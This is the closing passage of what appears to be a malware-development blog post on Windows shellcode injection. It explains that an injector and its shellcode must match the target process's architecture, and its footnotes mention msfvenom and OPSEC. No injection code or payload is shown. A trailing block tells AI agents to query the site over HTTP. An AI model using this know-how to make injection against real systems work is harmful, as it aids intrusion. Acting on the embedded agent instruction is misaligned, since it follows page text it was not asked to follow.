A million different scenarios went through my head. "Could it be Defender?", "Could it be the payload?", "Could it be something to do with the build/version of Windows?", "Could it be the program itself?", etc. It turns out that she was using the same build of windows as me, so that's out of the question.

<figure><img src="/files/aouWDhYMAX5RwDcssv34" alt=""><figcaption><p>Her <code>winver</code> output</p></figcaption></figure>

And even so, we're using higher-level API so the build and version shouldn't even matter. The source code wasn't the issue either since at one point she'd tried some code that *I knew* would work. I gave her some code that had XOR-encrypted shellcode—since I wanted to test to see if it was an issue with Defender as well. Turns out, nope. Window's Defender wasn't even triggered during the compilation of the program, so that's out the window. Moreover, even with the XOR-encrypted shellcode, after the injection was run, there still wasn't a new process to show for it. So, eventually, we took a break. Then, at the time of writing this blog post, April 30th, 2023, I got *yet another* message about someone facing a similar issue. Their program, just for the life of them, would not spawn a new process; even though it seemingly did inject it into the target process's memory.

<figure><img src="/files/wO0RvmNWwnXr8W9GqF0Z" alt=""><figcaption><p>Another similar issue arose</p></figcaption></figure>

The user had told us that they were compiling with `gcc` like this:

```sh
gcc shellcodeinjection.cpp -o shellcodeinjection.exe
```

So, after consulting some amazing, amazing friends of mine, the culprit of *architecture* was brought to light:

<figure><img src="/files/8WrkRRi7md6QH8x2vCpT" alt=""><figcaption><p>Resolution speedrun</p></figcaption></figure>

It was at this very moment that my eyes opened up wider than they ever have. I could see individual fermions whizzing past my eyes, I could grab clouds, I could snort numbers, taste vision, etc. How could we forget this? It was so painfully obvious that <mark style="background-color:orange;">you must compile your program for the architecture that you wish to target; and with this, your shellcode must follow the same harmony</mark>. Remember that `x86` shellcode `!=` `x86_64` shellcode. You also can't have your 32-bit program injecting a 64-bit process. Anyways, we sent our newly-crested warrior out to compile their program as a 64-bit program and we patiently awaited their response.

<figure><img src="/files/Q3Z70dLt0jpUtQGXSR69" alt=""><figcaption><p>Mission accomplished.</p></figcaption></figure>

Perfection. We had finally conquered the bug that plagued us for so long, with nary a trail for us to even follow. Congratulations, `l0n31yMC`. May thou all continue to journey far in thy trek.

{% hint style="warning" %}
TL;DR

Make sure you compile the program to be the same architecture that your target process is. If you've compiled a 32-bit binary, you can only inject 32-bit processes. Furthermore, make sure your payload/shellcode is also architecture-cognisant. If you're compiling a 64-bit binary, use 64-bit shellcode.
{% endhint %}

## Acknowledgements&#x20;

Thank you to the amazingly beautiful wizards: [bakki ](https://twitter.com/shubakki)and aqua for helping diagnose this stupidly simple oversight. I love you guys. And remember, sometimes, the solution is far simpler than you may think. See you in the [next section](/nest/mal/dev/inject/dll-injection.md). Also, thank you to everyone who's given me constructive criticism of the blog, my code, the videos, etc. Again, at the time of *rewriting* this blog, June 4th, 2023, it's only been about three (3) months since I started my malware development journey. Therefore, there's obviously still an incredible amount of stuff that I don't know. I appreciate all of you for being patient with my dwindling ignorance and teaching me new things to become better and more efficient.&#x20;

## References

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/apiindex/windows-api-list#system-services>" %}

{% embed url="<https://tbhaxor.com/createremotethread-process-injection/>" %}

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/process-injection>" %}

[^1]: :nerd:

[^2]: It could be argued that DLL Injection *might* be easier, but it's "either/or" at this point. Although they do have some key differences, they're also very similar in their idea and implementation. &#x20;

[^3]: Please start getting into the habit of proper housekeeping now while you're still early in your journey. I promise it'll pay off later and save you a ton of headaches down the line. Also, clean code is just nicer to write and look at; although I'd never know—I exclusively write abhorrent treacheries that bring about the tears of God.

[^4]: Bri'ish

[^5]: Unless, of course, you're concerned about OPSEC. In that case, it's worth researching the kind(s) of telemetry collected/reported by your IDE.

[^6]: This is impossible by the way. Don't even bother trying. I've been (blessed|cursed) with the ability to write biblically abysmal "code." You'd have better luck winning 1000x lotteries while at the same time finding the One Piece than you would finding a line of code that I've written that *doesn't* catalyze the heat death of the universe.

[^7]: or you could also use `__VA_OPT__` if you're using `C++20`.

[^8]: Or *completely* different depending on how badly I've had to resurrect my horrific code from the dead.

[^9]: Yeah, we all know that writing `0` and `1` would be more time-efficient. However, again, do whatever *you* want ¯\\\_(ツ)\_/¯

[^10]: Future crow here. Uh, yeah... I've stopped using Hungarian notation altogether. I now use [snake case](https://en.wikipedia.org/wiki/Snake_case) for my personal projects. For my uploaded code, I make it as verbose as possible and write things in [pascal case](https://www.theserverside.com/definition/Pascal-case), like "`ProcessHandle`."

[^11]: It's not really *that* beefy, but I'm speaking relatively and lazily here.

[^12]: A boolean is just "true" or "false". One (1) or zero (0).&#x20;

[^13]: Arch btw. \
    \
    Also, just use Kali if you have it. No need to setup an entire machine for this step when you can just grab the Metasploit package from virtually any distribution and invoke `msfvenom` from it.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://archive.crow.rip/nest/mal/dev/inject/shellcode-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
